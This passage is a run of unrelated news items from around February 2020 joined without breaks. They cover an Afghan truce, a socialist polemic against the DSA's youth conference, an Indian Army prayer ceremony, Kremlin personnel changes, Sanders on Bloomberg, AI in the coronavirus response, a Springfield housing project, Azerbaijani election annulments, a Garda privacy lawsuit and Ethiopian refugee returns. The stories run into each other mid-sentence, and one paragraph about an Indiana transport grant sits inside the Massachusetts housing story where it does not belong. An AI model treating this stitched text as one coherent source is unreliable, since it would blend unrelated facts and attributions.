nix it in September at the 11th hour amid continued insurgent violence. Any truce comes fraught with danger, and analysts warn the attempt to stem Afghanistan's bloodshed is laced with complications and could fail at any time. Or, worse still, they say warring parties could exploit a lull to reconfigure their forces and secure a battlefield advantage. On Thursday, the deputy leader of the Taliban said the insurgents are "fully committed" to a deal with Washington. "That we stuck with such turbulent talks with the enemy we have fought bitterly for two decades, even as death rained from the sky, testifies to our commitment to ending the hostilities and bringing peace to our country," Sirajuddin Haqqani wrote in an opinion piece in the New York Times. Haqqani is also head of the Haqqani network, a US-designated terror group that is one of the most dangerous factions fighting Afghan and US-led NATO forces in Afghanistan. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) This past weekend, the Young Democratic Socialists of America (YDSA) held its annual winter conference in Chicago, Illinois, under the title, Unite, Fight, Win. A YDSA banner [Credit: Wikipedia Commons] Based on the low attendance and poorly planned character of the event, it is clear the Democratic Socialists of America (DSA) were not particularly eager to bring together youth supporters for a discussion on socialism. The event featured a series of third-rate Democratic Party activists as speakers and panelists, none of whom were prepared to seriously address the political situation. While the DSA claims to have 56,000 members, only 300 young people attended the conference. The event attracted different sections of young people, ranging from those who are genuinely interested in socialism to opportunist middle class types looking for positions in the Democratic Party and the trade unions. Those who attended were told to integrate themselves fully into the Democratic primary election campaign of Bernie Sanders. This was the chief purpose of the event, which was effectively a public relations exercise for the Vermont senator. DSA speakers told youth to tone down references to socialism and resorted to banning attendees who opposed the idea that socialism entails working within the capitalist Democratic Party. The fundamental aim of the event organizers was to disabuse young people of the notion that socialism entails an independent struggle for political power. Socialism and the fight against war Supporters and members of the International Youth and Students for Social Equality (IYSSE) distributed an open letter to members of the YDSA outside the conference. The letter notes that the Democratic Party is the oldest capitalist party in the world, responsible for the greatest crimes of the American ruling class from slavery to the atomic bomb to the wars in Iraq and Afghanistan. Appealing to those who want to fight for socialism, the IYSSE letter stated: The attendees of the YDSA conference want to take action in the fight for socialism. Goodurgent action is required to save the planet from capitalist barbarism. But action that ends up strengthening the Democratic Party is worse than useless and will only create cynicism and disillusionment. This letter was well received by many attendees, who may retain illusions in Sanders but who are also hostile to the Democratic Party and to the absurd notion that socialism can be achieved through this reactionary organ of Wall Street and the Pentagon. Some attendees were particularly opposed to Sanders imperialist foreign policy, including his recent statement that he would consider preemptive war against Iran and North Korea. He has proven again and again that he is willing to go to war, one YDSA delegate told the IYSSE. If he is willing to defend US imperialist interests abroad it makes you wonder what policies he would support domestically. Another delegate said that Sanders was imperialist swine. The aim of the DSA was to quash any serious discussion on these or any other important issues. During the conference panel discussions, plenary sessions and workshops, there was not a single mention of the Democratic Partys anti-Russia campaign, backed by Sanders, or even on the Democratic Partys attacks on Sanders. Nothing was said about the growth of fascism internationally, the assault on democratic rights or the danger of world war. There was no discussion of the history of the Democratic Party and the litany of failed past efforts to reform it. The only mention of war came from a representative of the IYSSE, who in one panel pointed to Sanders statement to the New York Times only a few days earlier as well as his statements that some wars are necessary. The IYSSE member noted Sanders opposition to open borders, his silence on the persecution of Julian Assange and his long history of support in Congress for US imperialist wars. The IYSSE speaker said, In response to some of these criticisms, Ive heard people say that it is not about Sanders, it is about the movement. But upon what basis is this movement being built? It is being directed behind Sanders and the Democratic Party, and therefore capitalism. How can you justify your claim to be fighting for socialism while at the same time everyone here is supposed to act as foot soldiers for the Democratic Party? Arcadia Schmid, one of the panelists, responded: For me personally, Bernie Sanders is not going to be the end all be all for how I organize. He is our best shot right now. I think that even if our ideals are not always the same, we need to be able to have him in office and push him left. I mean we are the left. It is up to us to decide what we are going to fight for. And so, if he does do something that we dont agree with I would love to sit and protest something that a Sanders government does. This is a recipe for disaster and political disillusionment, which exposes the bankruptcy of the pragmatic argument that Sanders is our best shot right now. If Sanders is going to betray our ideals, as Schmid herself admits, then why expend so much effort to put him in the White House? The DSA wants no discussion on the past efforts to reform the Democratic Party or push it to the left. As the IYSSE letter to the YDSA members noted, Each failed effort at reform has paved the way for the Democrats next crimes. It is for this reason that the party has earned the designation as the graveyard of social movements. The DSA responded to the intervention of the IYSSE by banning two of its members, including this reporter, from attending the last day of the conference. The ban exposed the anti-democratic character of the democratic socialists and makes clear that the DSA is not an organization in which young people can freely discuss socialist strategy. It is likely that the decision to ban IYSSE attendees came not from the event organizers, but from the Democratic Party officials who call the shots in the DSA and the Sanders campaign. In response to the ban, this reporter wrote the following to the DSA organizers: There is nothing inappropriate in the tweets I posted. This contrasts with the anti-communist and red-baiting tweets from other delegates. The official YDSA at Eastern Carolina University, for example, wrote in reply to the letter of the IYSSE to the YDSA members, All trots do is read theory, yell at dsa, post online, eat ice pick and lie. The reference to an ice pick is particularly menacing, as it refers to the instrument used by a Stalinist assassin to murder Leon Trotsky in 1940. Other delegates posted vulgar or threatening comments The real reason for your action is your opposition to the political content of what we have saidour exposure of the Democratic Party and the pro-imperialist positions of Bernie Sanders, and our call for YDSA members to take up a genuine fight for socialism within your organization. The more viable Sanders becomes as a potential presidential candidate, the more urgent it becomes for the DSA to suppress any discussion of genuine socialism, of Sanders real record in supporting US imperialism, and the character of the Democratic Party. The DSA on socialism Throughout the conference, the DSA sought to falsify and distort what socialism really is in order to conform to the politics of the Democratic Party and the pro-capitalist trade unions. YDSA CTU building DSA National Director Maria Svart led one panel at the conference, headlined Democratic Socialism 101. She began by asking everyone at the workshop to form small groups and try to explain to each other what the DSA is without using the word socialism or any specific active DSA campaign. A lot of people dont know what the word socialism means. It is helpful to talk about it in semi quasi terms, she explained after the exercise. What this really means is that is necessary to talk (or not talk) about socialism in a way that will not alienate the Democratic Party leadership and Sanders himself. There was a revealing exchange between Svart and a conference attendee over the issue of sectarianism, by which the DSA means the Socialist Equality Party and the IYSSE. To bolster her argument against sectarianism, Svart quoted from a letter written by Karl Marx to Arnold Ruge in September 1843: We do not confront the world in a doctrinaire way with a new principle: Here is the truth, kneel down before it! We develop new principles for the world out of the worlds own principles. We do not say to the world: Cease your struggles, they are foolish; we will give you the true slogan of struggle. We merely show the world what it is really fighting for... One student argued that Svarts presentation of Marx was false. Marx actually goes through every actually existing socialist organization and ruthlessly criticizes them, he noted. For Marx, it was critical for workers to unite but also to be really theoretically clear on what the right doctrine is around which they are uniting. I dont know if I really agree with him, but I dont think he was saying what you are saying. Marxs letter to Ruge is based on the concept that the revolutionary socialist movement expresses the objective logic of the class struggle; it is not something that is simply imposed from outside. Marx understood that the fight to develop within the working class a consciousness of the objective logic of its struggles develops through relentless conflict with the parties and organizations of the ruling class, including the political ancestors of the DSA. Svart moved on quickly to the next point, after dismissing the students question with an incomprehensible reference to praxis. The rest of the session was dominated by organizational questions. The deliberate falsification of history was continued throughout the event. In a review of the history of the DSA, Joe Allen, a former member of the now defunct International Socialist Organization (ISO), gave a potted history of the first three socialist internationals. He claimed that he had no time to discuss the Fourth International, founded by Leon Trotsky in 1938 in opposition to the social democrats and Stalinists. In a Campus Labor workshop, the speaker, similar to Svart, started by noting that socialism is a little difficult to define. He went on, In the context of this presentation at least and in a lot of literature you will read socialism just means the transition away from a capitalist society it is the point when society is not predominantly ruled by capitalist forces but rather is predominantly ruled by working class organizations. So, the working class begins to win the class struggle and begins to move away from capitalism towards the next stage. So, it is the process of ending capitalism. Thus, according to the DSA, achieving socialism does not require the mobilization of the working class against capitalism and its political agents. It will be achieved gradually, the ultimate product of a process in which workers begin to win the class struggle and achieve reformssupposedly through the mechanism of the trade unions and the Democratic Party. But the fact of the matter is that the working class cannot win the class struggle so long as it is politically strangled by the parties of the capitalist class, including the Democrats. The rest of the Campus Labor workshop was aimed at convincing students to join unions. Despite the fact that the most prominent union seeking to organize grad students is the United Auto Workers (UAW), not a single word was said about the historic corruption scandal which has engulfed the entire UAW leadership. Trotskyism versus the Democratic Party politics of the DSA The DSA is a faction of the Democratic Party whose primary purpose is to support a senator who is running for the Democratic nomination for president. It is not attracting wide sections of workers. Its inflated membership consists largely of layers of the upper-middle class. Its leadership consists of shameless careerists seeking greater access to positions within the state and the trade union apparatus. The DSA functions according to the most crass pragmatism. Sanders, they say, is our best chance for socialism. Within the framework of the 150-year-old socialist movement, this is hardly a new position. The Marxist movement has always insisted that awakening the political energy of the working class requires educating workers and transforming the working class into a force that is aware of its historically progressive role. There is no short cut to the development of socialist consciousnessand certainly not through the Democratic Party. Introducing into the working class the lessons of the class struggle is a necessary prerequisite to developing a revolutionary strategy for world socialist revolution. Young socialists today must know that the contemporary revolutionary movement is not starting from scratch. There are innumerable lessons which must be internalized in order to take effective revolutionary action today. In 1917, the workers of Russia established workers' councilsSovietsand through the political leadership of the Bolshevik Party, led by Vladimir Lenin and Leon Trotsky, seized power from the tsar and toppled the Romanov dynasty after 300 years of imperial rule. It was Trotsky who, after Lenins death, waged a relentless struggle to educate the working class in order to block the degeneration of the Soviet Union under the bureaucracy headed by Joseph Stalin. The struggle for international socialism against the national opportunism of the Stalinist bureaucracy formed the political basis of the foundation of the Trotskyist Fourth International in 1938the movement that is represented today by the International Committee of the Fourth International (ICFI). The IYSSE bases its exposure of the pro-capitalist politics of the DSA on the fight for the historical continuity of the Trotskyist movement. We encourage all YDSA members to fight within their organization for genuinely revolutionary socialist politics and to take up the study of the burning strategic questions of the class struggle in the 20th century. This author also recommends: New York Times falsifies history to claim Sanders is transforming the Democratic Party [17 February 2020] Why Alexandria Ocasio-Cortez is in the same party as Joe Biden [28 January 2020] Sanders tells New York Times he would consider a preemptive strike against Iran or North Korea [14 February 2020] The DSA on impeachment or: How the DSA learned to stop worrying and love Bolton [3 December 2019] On Friday, Defence Minister Rajnath Singh was in the capital to lay the foundation stone for Thal Sena Bhawan during which he bore witness to an inter-faith prayer ceremony. He along with army chief MM Naravane participated in a "bhoomi poojan" ceremony for the the Bhawan, which is being constructed as the new Army headquarters in Delhi's cantonment area. Images of the ceremony were shared on social media by news agency ANI. In the image, priests from different religions can be seen standing on stage and reciting prayers. A multi-faith prayer held at the foundation stone laying ceremony of the Thal Sena Bhawan in Delhi. pic.twitter.com/BwKHCQSFGe ANI (@ANI) February 21, 2020 The image has been evoking many warm responses on social media with many praising the secular and harmonious nature of the Indian army. It happens only in Indian Army. Sasmita Mahapatra (@SM49142278) February 21, 2020 True spirit of India Zorawar Gill (@ZorawarGill2) February 21, 2020 Good, This is the idea of India. We have to learn from Army, there is no discrimination on basis of caste and religion. Amit Kumar Jain (@Amitjain5633) February 21, 2020 Jonny lever (Parody) (@Indian71280833) February 21, 2020 The Bhawan, a multi-storied green building, will be constructed opposite the Manekshaw Centre at Delhi Cantonment within the next five years. Spread over 39 acres, it will accommodate over 6,000 personnel and have a residential complex. The Army Chief, who currently occupies an office in New Delhi's South Block, will also have an office at the Thal Sena Bhawan. According to a report by ANI, the office complex and parking space would be spread across an area of 7.5 lakh square meters and will house 6014 offices for 1684 military and civilian officers along with over 4,000 staff. The construction work is expected to generate at least 2 lakh hours over the course of the next five years, leading to job creation among youth. Its often said that we get the cities we deserve. This implies that cities have a resonance that is not only emotional and aesthetic but also moral. And because our cities shape us, as much as we shape them, these fascinating habitable artefacts easily amplify our virtues and our vices. Further, because in recent decades our cities have been so strongly shaped by neo-liberalism, and because neo-liberalism needs us to be our worst possible selves the vices overwhelmingly dominate virtues. Therefore let us ask: what are the Seven Deadly Sins of City Planning? Governments encourage us to see cities as merely shaped by numbers dollars, densities and traffic flows. Credit:Janie Barrett Traditionally, the Seven Deadly Sins are as follows: sloth, wrath, gluttony, envy, lust, avarice and pride. Lets start with the last: pride. Pride is hubris, perhaps our primary sin as humans. It is our sad, solipsistic self-sabotaging conviction that we as primates are here to dominate the earth and everything upon it. The architect of "managed democracy" is managed out, and President Vladimir Putin reveals almost zero about the motives for Vladislav Surkovs departure. Same goes for the dismissal of Dmitry Medvedevs cabinet, with Putins telling remark about the timing of the move being, "Not telling." And the Kremlin keeps Russians guessing about whether it will reach in and shorten the sentences handed down to seven men convicted in a terror trial marred by torture claims. Here are some of the key developments in Russia over the past week and some of the takeaways going forward. The Short Answer In a terse, two-word response to an interviewers question, Russian President Vladimir Putin said that he wont say when he decided to fire the government led by his longtime protege and tandem partner Dmitry Medvedev. In a terse, two-sentence decree, he didnt say why he fired his longtime aide Vladislav Surkov, a chief architect of his policies at home and in the nearby lands where Moscow meddles the most. And in full poker-face mode, Putins spokesman made a statement of fact about the harrowing, highly controversial Network case that could be taken at face value -- or as a hint that the prison sentences imposed on the seven defendants, who claimed they were subjected to electric shock and other forms of torture in a trumped-up prosecution over a terrorist plot that did not exist, could be shortened or overturned. All in a weeks work of information management at the Kremlin, perhaps. Much was said by Putin, Peskov, and others in and around the Kremlin -- but little of it had substance, at least on the surface. Speaking of managing, Surkov, who is seen as the architect of managed democracy -- a term used to describe a system Kremlin critics charge consists of a great deal of management and a vanishingly small amount of democracy, aside from the framework of parliament, constitution, elections, and such appears to have finally been managed out of the Kremlin. Whether its for forever would be hard to say. Surkov has been out before, only to come back in albeit with his once all-but-unparalleled influence diminished, like a wizard running low on hit points. But there was an air of finality to Putins decree. Often, these ukases include wording seemed designed to soften the blow saying, for example, that someone has been dismissed in connection with a move to another job, even if that job is not described. This time, the document said only that Surkov was relieved of his post with immediate effect. What it did not say was why. One pretty straightforward reason is that he was quite simply out of a job, or part of one. On February 11 more than two weeks after an acquaintance of Surkovs said he was leaving the Kremlin because of a change of course on Ukraine policy Peskov told reporters that Dmitry Kozak, the deputy Kremlin chief of staff, was replacing Surkov as Putins point man on Ukraine and efforts to resolve the conflict in the Donbas, where a war between Kyivs forces and Russia-backed separatists who hold parts of two Ukrainian provinces has killed more than 13,000 people since April 2014. Mark Galeotti, a senior associate fellow at Britains Royal United Services Institute and a writer on Russian affairs, suggested that Surkov had essentially failed in that position, or at least was seen to have failed by Putin. The pseudo-states of the Donbas turned out both impossible to control with his brand of promise, threat and cajolery, and also impossible to sell as real entities, let alone victims of Ukrainian prejudice, to a skeptical and hostile West, Galeotti wrote in The Moscow Times. Surkov Vs. Kozak Surkov was Moscows chief negotiator with Kyiv on the Donbas conflict, but was toxic in Ukraine because he is strongly associated both with Russian interference as a whole and more specifically with indications that earlier in the war, Moscow was out to seize a large swath of southern Ukraine, up to the Moldovan border, that Putin and others for a time were calling Novorossia or New Russia -- a tsarist-era term for an area encompassing maybe half of present-day Ukraine. Surkovs negotiations with Kyiv produced little apparent progress, as did his talks with Kurt Volker, who was the U.S. special envoy for Ukraine for more than two years before resigning in September. Galeotti described Surkov as less of a political technologist than a political theatrician -- a circus barker who could promise the greatest show on Earth, but not himself deliver it. Kozak is widely perceived as perhaps the exact opposite, a hard-nosed and hard-working official who gets down to tasks with a sense of pragmatism. So, the personnel switch suggests that Putin wants the job done better. But what job, exactly? Meetings among officials at various levels on the conflict in the Donbas are often called peace talks. But Ukrainian President Volodymyr Zelenskiy, who faces formidable pressure not to capitulate to Russia or be seen as doing so, has made clear that doesnt mean peace at any cost. The same probably goes for Putin and critics charge that his main priority in the Donbas is not to make peace but to squeeze as much influence on Kyiv as Russia can out of the conflict. Since Kozaks appointment, there has been no sign of a shift in Moscows stance on key obstacles to peace, and a flare-up in fighting earlier this week underscored the wars persistence. Another priority for Putin, analysts say, is to improve ties with the West or more precisely, to repair relations enough to improve its standing, increase its clout, and win a reduction of the sanctions imposed over Moscows interference in Ukraine. For goals like that, Surkov may not be the best fit. 'Geopolitical Solitude' As the chief champion of managed democracy, also known as sovereign democracy seen by Kremlin critics in the West as terms that really mean, if anything, non-democracy Surkov to some extent embodies Russias public turn away from Europe and the United States under Putin despite his apparent interest in American culture -- from the abstract expressionist painter Jackson Pollock to the groundbreaking rapper Tupac Shakur. He appeared to double down on the idea of a turn away from the West in a magazine article published in 2018, writing that Russias epic journey toward the West is over and that it faces "100 years (200? 300?) of geopolitical solitude." That is not what Putin wants, though he often suggests to the people that Russia could endure it. Putin is "symbolically demonstrating a change of course," Russian political analyst Leonid Radzikhovsky told RFE/RL, by "replacing the man who symbolizes one approach with a man who symbolizes the other." If switching out Surkov for Kozak is a move both symbolic and potentially practical, Putin suggested that his decision to replace Medvedev with Mikhail Mishustin, the little-known tax service chief who is now prime minister, was all about practicality and pragmatism. In an on-line interview with TASS -- a new format for Putin and the state news agency that still bears its Soviet-era initials Putin said Mishustin has proved to be a good practitioner who understands what must be done, knows how to do it, and does it, achieving a concrete result. 'I'm The Decider' Few Western media outlets published articles about the interview a sign that reporters may have sifted through it for news but found mostly propaganda. Arguably, the main point of Putins remarks seemed to be to convey the impression that he is very much in charge and that he knows best. Thats an idea that he may be seeking to emphasize as he prepares to steer a successor into place as he hits up against term limits in 2024 or to retain power in a position other than president or to do both, as many analysts predict. Putin said that he was presented with three or four other suggestions for a new prime minister but batted those aside and picked Mishustin. When the interviewer called the move a surprise and asked who had known about it, he quipped: I knew. Isnt that enough? Several of Putins responses consisted of one or two words in Russian, including his answer to the question of when he decided to dismiss the cabinet: I wont say, he said -- though it could also be translated as, Not telling. Putins spokesman was a little less parsimonious with words, at least, if not actual information when he commented on the so-called Network case, which has drawn criticism of Russias law enforcement and judicial systems ahead of the fifth anniversary of opposition politician Boris Nemtsovs killing. On February 10, seven members of an anti-fascist activist group were convicted of plotting terror attacks and sentenced to prison terms ranging from six to 18 years despite their claims of torture in custody and what supporters said was a glaring lack of evidence. The defendants denied the very existence of the Network, the name investigators gave their alleged organization. Trial And Torture Like several other controversial cases over the past year, the trial and verdicts generated a wave of anger in Russia and prompted calls for justice. On February 18, Kremlin spokesman Dmitry Peskov stated the obvious: that Putin was aware of the public outcry. He did not state what many in Russia believe is obvious: that the ultimate outcome of high-profile, politically charged cases is often decided in the Kremlin. But even as he made clear the Kremlin would not comment on the verdicts and sentences, he pointed out that the rulings by a military court in the provincial city of Penza could be appealed and that its necessary to wait for the result. On one level, that was a simple statement of fact. On another, it could be taken as a hint that Putin is at least considering reaching in to alter the fate of the defendants. In any case, the drawn-out process gives Putin plenty of time to decide. At this point, theres no clear answer. Sen. Bernie Sanders said he was surprised that former New York City Mayor Michael Blooomberg came into Wednesday night's Democratic debate so unprepared to answer questions about his record that had been previewed in media reports. 'Yes, I was, I was,' Sanders answered when posed the question by Anderson Cooper, for a '60 Minutes' interview that will air this weekend. 'And if that's what happened in the Democratic debate, you know, I think it's quite likely that Trump will chew him up and spit him out.' CNN's Cooper asked Sanders if he was less worried about the threat of Bloomberg now that the ex-mayor - who has so far run his presidential campaign by television commercial and in states not voting yet - had been deflated a bit. Sen. Bernie Sanders said in a new sit-down with '60 Minutes' that Mike Bloomberg will be chewed up and spit out by President Trump Sen. Bernie Sanders was being asked by Anderson Cooper about Mike Bloomberg's (pictured) debate performance Wednesday night in Las Vegas The full interview with Bernie Sanders will air on '60 Minutes' over the weekend. Sanders also said he was concerned about how much Bloomberg was spending on his presidential run President Trump, photographed at a campaign rally Thursday night in Colorado Springs, would 'chew up' Michael Bloomberg and 'spit him out,' Sen. Bernie Sanders suggested Sanders didn't answer the question head on. He, instead, talked about the enormous amount of money Bloomberg is spending to play catch-up in the race. FEC reports indicate that Bloomberg spent an average of $7 million per day in January. The former mayor had originally decided not to run for president, but sensing that the field lacked a clear frontrunner - in part because former Vice President Joe Biden seemed weak - he jumped in around Thanksgiving 2019. For comparison, Sanders kicked off his own presidential campaign a year ago Wednesday. 'I am worried about an unprecedented amount of money being spent on a campaign,' Sanders said. 'We've never seen anything like this in American history and I just think, though, that the American people will rebel against this type of oligarchic movement.' 'We are a democracy - one person, one vote - not a guy worth $60 billion, buying an election,' the democratic socialist added. Forbes currently puts Bloomberg's net worth at $63.7 billion. Bloomberg's worst moments on the Democratic debate stage Wednesday night were only tangentially connected to his money. Sen. Elizabeth Warren opened up the debate by going after Bloomberg for doggish comments he's made about women - and then later company non-disclosure agreements he's refused to let female former employees out of. 'I'd like to talk about who we're running against, a billionaire who calls women fat broads and horse-faced lesbians,' Warren said. 'And no I'm not talking about Donald Trump, I'm talking about Mayor Bloomberg.' When she went after Bloomberg on the NDAs, he responded, 'None of them accuse me of doing anything other than maybe they didn't like a joke I told.' The audience gasped. The Bloomberg campaign, for its part, spun his debate performance as a warm-up act. And they pointed to the moment where Bloomberg called Sanders about for being the country's best-known 'socialist,' but still owning three houses. To that Sanders bellowed, 'I work in Washington, house one. Live in Burlington, house two. And like thousands of other Vermonters, I have a summer camp. Which tax haven is your home?' Artificial intelligence is being used to mine data to identify and isolate potential carriers and victims, and to guesstimate the likely course of the disease. AI is also being used to try and generate vaccines, and to identify existing drugs, to combat the new virus, says Devangshu Datta. IMAGE: Staff members wearing face masks and goggles are seen at the Beijing Daxing International Airport, as the country is hit by an outbreak of the novel coronavirus, in China. Photograph: Tingshu Wang/Reuters Meeting the threat of the Wuhan coronavirus, 2019-nCov, will be a test case for the effective and widespread deployment of artificial intelligence (AI) in fights against epidemic diseases. An AI was among the first agents to flag the new disease. AI is being used to mine data to identify and isolate potential carriers and victims, and to guesstimate the likely course of the disease. AI is also being used to try and generate vaccines, and to identify existing drugs, to combat the new virus. As of February 7, 2020, there were over 630 confirmed deaths and over 30,000 infections in at least 25 nations. One of the first warnings came from a Canadian AI company, Bluedot, which uses AI to analyse publicly available news and data, and issues health warnings to its clients, which include businesses and public health officials in several countries. On December 31, 2019, Bluedot issued an advisory that travellers should avoid Wuhan. The WHO sent out a similar public notice only on January 9, 2020, while America's CDC had issued its first public warning on January 6. The Bluedot AI used global airline ticketing data to correctly predict the virus would be exported to Bangkok, Seoul, Taipei, and Tokyo. Impressively, BlueDot has also predicted earlier outliers like a Zika outbreak in Florida. The Harvard Medical School is running an international team, which uses machine learning to analyse social media posts, news reports, data from official public health channels, and information supplied by doctors for signs of where the virus is now taking hold. Some AI-based predictions on the potential infection footprint are extremely scary but very likely, wrong. Fintech company, HedgeChatter built a neural network to generate a day by day forecast of the numbers infected, the geographical spread and the death toll etc. The model was accurate to within 3 per cent of actual numbers until early February. It predicts that up to 2.5 billion people (the global population is roughly 7 billion) could be infected in the next 45 days, and fatalities could rise to over 52 million. However, this could happen only if the assumed conditions for the disease spreading, and the public health response don't change. Since the alarm has been raised, there is likely to be a much lower toll, since those conditions have indeed changed drastically. AI has been used by the Chinese authorities to mine data. It has led to over 45 million persons -- an entire province -- being placed under lockdown. The authorities have also quarantined people who have travelled to the affected areas. Apps have been released to enable citizens to check if they have been in a bus, or train or plane, with a confirmed victim. Of course, all this is greatly enabled by the tight surveillance systems of the People's Republic of China and the state's complete lack of concern for violation of privacy. Baidu, the Chinese equivalent of Google, has deployed a system that uses a combination of infrared and face recognition to identify people and check if they have a higher than normal body temperature. It's claimed that this can check over 200 people a minute, far faster than standard thermal scanners at airports. On the medical research side, China has released the genome of the disease. Versions of the genome have also been harvested and sequenced outside the country. AI is also being used to search through already available drugs for potential cures. A British start-up, Benevolent AI, and a Korean pharma company, Deargen have both used AI to search for existing drugs that may work against the virus. So has the US pharma company, Gilead. In these cases, the AI searched through medical data, and scientific papers, looking for drugs that might work. Several other companies have also tried this approach, and there is now a short-list of some 10 existing drugs that could be going into trial soon in the fight with this disease. An US-based biotech company, Insilico, is using the AI to identify and generate new molecules that could serve as potential medications. It intends to synthesise and test up to a 100 of these new molecules. It took Insilico's AI just four days to identify new molecules with medical potential. Insilico has committed to publishing all the new molecular structures it has generated as a public dataset. Michigan State University has also published a paper about using similar machine learning algos. AI collapses the time period necessary for this sort of math-intensive research from a period of months or years, to a few days. This is critically important during an epidemic. The highly-connected 21st century can enable diseases to spread with rapidity. AI could be one of the ways to mitigate this danger. SPRINGFIELD Mayor Domenic J. Sarno is asking the City Council to approve $4 million in spending to assist a planned $55 million housing redevelopment project at Court Square, saying the city, state and developers never gave up on saving the long-vacant historic building. The council will consider approving the city bond funds at its meeting Monday night, and will also consider approving a plan by MGM Springfield to provide $16 million to the project at 13-31 Elm St. MGM Springfield and city officials announced the $16 million investment in the Elm Street project last week to the Massachusetts Gaming Commission. The plan needs local and state approval. The funding will be set up as loan for the project, but at least $11 million will be a grant, officials said. The citys contribution of $4 million is earmarked for the cleanup of hazardous materials, some selective demolition inside the building, and other costs, officials said. Timothy J. Plante, the citys chief administrative and financial officer, said the removal of environmental hazards and other city-funded work is necessary for the project. In a statement Friday, Sarno said the redevelopment of the six-story block is a critical and vital project that must be addressed, not only to return it to the tax rolls but just as importantly, for the psyche of the city." He added: We all never gave up on this project!" The site, formerly the Court Square Hotel, will be converted to 59 units of market rate housing, and 15 workforce apartments." It will feature approximately 12,000 square feet of retail and restaurant space on the first floor. The workforce apartments are restricted to tenants earning up to 80% of the area median income. The building has been mostly vacant for the last 30 years, and needs extensive renovations to address long-term deterioration and neglect, and to be modernized and brought up to code, officials said. The project involves the block at 13-31 Elm St., and the attached Byers Block at 3-7 Elm St. The developers of the project WinnCompanies of Boston and Opal Real State Group of Springfield said they were on the brink of securing full financing for the project a year ago. The full funding for the project includes state and federal historic tax credits, MGM funding, and private financing, officials said. A host community agreement between MGM Springfield and the city required MGM to develop at least 54 new, market rate higher end upscale urban apartment units within a half mile of its $960 million casino. The casino is across the street from the Elm Street building. The council, at Mondays meeting, will consider approving the $16 million investment in the Elm Street block to satisfy MGM Springfields obligations to provide market rate housing. MGM Springfield, as part of the commitment, will also transfer ownership of the former School Department headquarters at 195 State St. back to the city at no cost. The vacant building at 195 State St. was initially planned for market rate housing by MGM Springfield. City officials including Sarno strongly supported having MGM contribute to the Elm Street project, rather than creating housing elsewhere. Gaming Commission members have also praised the plans. Sarno said he is thrilled a cooperative funding agreement has been finalized. As my administration has done before with challenging projects, sometimes you have to prime the pump through a public/private initiative to get the job done, Sarno said. The City of Springfield, State of Massachusetts Office of Housing, MGM, MassMutual and developer, Winn-Opal, have all stepped up in a unique partnership to resurrect this once stately, but now long-blighted property back to its former grandeur. The property is owned by the Springfield Redevelopment Authority, the citys urban redevelopment arm. Under the agreement, the property will be sold to the private developers. The developers have stated they are not planning to request tax incentives for the housing project, and plan to use 100% union labor. The city will use a $6.7 million TRAX grant from the Indiana Department of Transportation for design and engineering work on that project, he noted. Other sources for the citys portion of funding are being sought. In May, published reports indicated Norfolk Southern Railroad plans to contribute $450,000 for the project. By Trend A complaint in connection with violations at several polling stations of 125th Zangilan-Gubadli constituency was considered at the meeting of the Azerbaijani Central Election Commission (CEC), Trend reports referring to CEC. CEC member Tofig Hasanov said that it was revealed that violations were committed in some constituencies. Hasanov said that this gives legal grounds to announce the voting results on the 1st, 10th, 13th, 32nd, 36th, 37th, 38th, 39th, 40th, 55th, 59th invalid. Hasanov proposed to annul the election results in these constituencies. The proposal was adopted as a result of the vote. More than 25 people intend to sue over the circulation on social media of images containing their names and photographs on a Garda notice board. The actions arise out of claims that in March 2019 a person, believed to be a contractor employed by the Gardai was permitted access to a room in Kilmainham Garda Station, which contained briefing bulletins. It is claimed that one bulletin displayed various details, including photographs of their faces, names and addresses. They claim that they were described on the bulletin boards as being active criminals from Ballyfermot/Labre Park or criminals from Kilmainham and Inchicore. They claim that they have either no convictions or very minor ones, meaning that they could not be described as criminals or active criminals. Some of the applicants were in their late teens when the images were circulated. They also claim they were photographed alongside multiple notorious criminals involved in murderous feuding, an Islamic extremist, and a convicted sex offender. It is claimed that the contractor took pictures of the bulletin boards and circulated the photographs on a Whatsapp group and online. As a result, the 25 people intend to bring proceedings, including defamation actions, and damages actions for alleged breach of privacy and a breach of the Data Protection Act, against both the Garda Commissioner and the contractor. Applications in respect of their intended claims came before Ms Justice Leonie Reynolds at the High Court today. The judge, following an application made by Mark Lynam BL for more than 20 of the applicants, made an order requiring the Commissioner to provide them with the name and address of the person who photographed the bulletin boards at Kilmainham Garda Station in March 2019. The order was made on consent by the Commissioner, represented by Conor Power SC, and also includes an undertaking by the applicants not to use the contractor's details other than to pursue their claims. The order was sought to allow the applicants bring their actions against the contractor. That person's name and address, it was claimed, had been in the possession of the Commissioner. However, despite several requests to furnish those details, it was claimed that the Commissioner failed to do so. The applicants' lawyers said an order directing the Commissioner to provide another person who is suing over the circulation of the photographs with the contractor's details was made by the court late last year. It was hoped that the Commissioner would cooperate in respect of the other persons who wish to bring proceedings. Despite sending warning letters the opposite proved to be the case. The other 20 or more individuals were left with no option other than to seek what is known as a 'Norwich Pharmacal' order aimed at compelling the Commissioner to provide them with the contractor's details. There was a high degree of urgency in the matter as those applicants who are suing for defamation need to bring their claims within 12 months of the pictures being published, Mr Lynam submitted. Earlier this week, the High Court granted the applicants' permission to serve short notice of their application for such an order against the Commissioner. When the matter returned before Ms Justice Reynolds today the court was told the matter had been resolved. Majlis speaker calls for immediate measures to counter coronavirus IRNA - Islamic Republic News Agency Tehran, Feb 20, IRNA -- Iran's Majlis (Parliament) Speaker Ali Larijani on Thursday called for immediate measures to counter outbreak of coronavirus after two cases were confirmed in Qom, 140 km south of the Iranian capital. Larijani, made the remarks in his telephone conversation with minister of health. He emphasized the importance of taking immediate and preemptive measures to fight deadly virus. Larijani also called minister of education to tell him to give advice to the students and their parents about how to deal with the issue. The deadly coronavirus radiating from Wuhan, China, has affected over 75,000 people across the world, while 2,131 have been killed mostly in China. 1483**1416 NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Ever since Ardo Hassan Kowdan fled Ethiopia to Kenya 11 years ago, she had dreamed of the day she could go home. As she boarded a plane in Kakuma, in northeastern Kenya on Wednesday to take her to Dire Dawa in eastern Ethiopia, it was a big moment. Im extremely happy to return to where I was born and gave birth to my three children, says the 43-year-old. Abdirashid Mohumed, 24, nodded in agreement as he stood beside her. He had dressed up for the occasion in a charcoal grey jacket and blue, checked shirt. I am 100 per cent happy to be going back home. I have missed my family and friends a lot, he said. The two are among 76 Ethiopians who returned home this week from Kakuma refugee camp, the biggest group so far to go back voluntarily. I am 100 per cent happy to be going back home. I have missed my family and friends a lot. The movement, supported by UNHCR, the UN Refugee Agency, and the Governments of Ethiopia and Kenya, is part 